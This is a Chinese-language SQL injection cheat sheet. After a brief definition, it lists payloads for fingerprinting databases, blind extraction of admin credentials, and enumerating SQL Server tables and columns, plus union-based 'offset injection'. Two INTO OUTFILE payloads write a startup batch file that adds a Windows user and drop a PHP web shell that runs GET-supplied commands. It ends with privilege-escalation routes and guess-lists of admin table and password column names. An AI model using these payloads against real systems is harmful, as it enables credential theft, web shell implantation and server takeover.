sql注入

定义

攻击者利用应用程序根据提交的数据动态生成sal命令的特性,在url、表单域或者其他的输入域中输入自己的sql命令,改变sql命令的操作,将被修改的sql命令注入到后端数据库引擎中执行。

危害
  1. 数据库信息泄漏
  2. 网页篡改
  3. 挂马
  4. 服务器被远程控制
  5. 瘫痪全系统
常用sql语句
  • 判断数据库
    • and exsits(select * from msysobjects)>0 access
    • and exsits(select * from sysobjects)>0 sqlserver
    • database()
    • version()
    • user()
    • @@version_compile_os 操作系统
  • 判断数据库表
    • and exists(select * from admin)
  • 判断数据库列名
    • and exists(select admin from admin)
  • 判断数据字段内容的长度
    • and (select len(admin) from admin)=5 如果返回正常说明管理员账户的长度为5
  • 判断数据第一个字符内容
    • and (select top 1 asc(mid(admin,1,1)) from admin)>100返回正常说明该字符的ascii码值大于100
  • 测试权限结构
    • ?id=1 and 1=(select IS_SRVROLEMEMBER(‘SYSADMIN’));-- \还可以是serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin,db_owner
  • 获取用户数据库名称
    • ?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
    • ?id=1 and 1= (select top 1 name from master..sysdatabases where dbid>4 and name <> ‘第一个用户数据库’)
  • 获取数据库表
    • ?id=1 and 1=(select top 1 name form sysobjects where xtype=’u’)\获取第一张表
    • ?id=1 and 1=(select top 1 name from sysobjects where xtype=’||’ and name <> ‘第一张表名’)\获取第二张表
  • 获取列名
    • ?id=1 and 1=(select top 1 name from syscolumns where id = (select id from sysobjects where name = ‘users’))\获取第一列列名
    • ?id=1 and 1= (select top 1 name from syscolumns where id = (select id from sysobjects where name = ‘users’) and name <>‘第一列列名’)\获取第二列列名
  • 获取内容
    • id=1 and 1=(select top 1 uname from users)
偏移注入

偏移注入的产生主要是用来解决表名猜到,列名猜不到的情况。使用的sql语句为
http://127.0.0.1:33/0/simple.asp?id=22 union select 1,2,3,4,5,6,7,8 from admin

  • 利用注入漏洞执行系统命令

    • 第一种方法: 需要有系统权限
      and 1 = 2 union select 1, "net user seven 123 /add", 2,3,4 into outfile 'C://Documments and Settings/Administrator/[开始] 菜单/程序/启动/1.bat'

    • 第二种方法
      and 1 = 2 union select 1, "<pre><body><?@system($_GET['cc']);?></body></pre>",3,4,5,6,7 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php'

ORACLE
  1. 执行java代码
  2. 补充。。。。

MYSQL

  1. load_file()文件读写
  2. outfile 写文件
  3. MOF/UDF 提权
  4. general_log_file 写文件
SQL SERVER
  1. xp_cmdsell
  2. wscript.shell
  3. 沙盒模式
  4. 存储过程写文件
  5. xp_dirtree
  6. sp_oamethod
常见表名
  • admin
  • admin_user
  • admin_name
  • admin_login
  • login
  • manager
  • guanli
  • login_name
  • login_user
  • username
  • login_admin
  • manage
  • main
管理用户列名
  • admin
  • username
  • admin_name
  • admin_user
  • admin_usr
  • usr
  • user_name
管理员密码列
  • password
  • admin_pass
  • admin_password
  • pwd
文章目录
  1. 1. 定义
  2. 2. 危害
  3. 3. 常用sql语句
  4. 4. 偏移注入
  5. 5. ORACLE
  • MYSQL
    1. 1. SQL SERVER
    2. 2. 常见表名
    3. 3. 管理用户列名
    4. 4. 管理员密码列
  • ,